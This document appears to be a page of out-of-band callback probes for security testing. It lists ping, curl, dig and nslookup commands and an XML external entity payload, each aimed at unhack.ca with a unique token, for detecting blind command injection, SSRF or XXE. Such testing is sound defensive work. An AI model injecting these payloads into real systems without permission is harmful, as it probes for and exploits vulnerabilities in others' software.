$ ping -c1 -p 0087927c06734ab83d57d3a04fcbf700 unhack.ca
 

$ curl http://unhack.ca/p/87927c06734ab83d57d3a04fcbf7
 

$ dig 87927c06734ab83d57d3a04fcbf7 @unhack.ca
 

$ dig 87927c06734ab83d57d3a04fcbf7.ns.unhack.ca
 

C:\> nslookup 87927c06734ab83d57d3a04fcbf7 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/87927c06734ab83d57d3a04fcbf7">]>
    <foo>&xxe;</foo>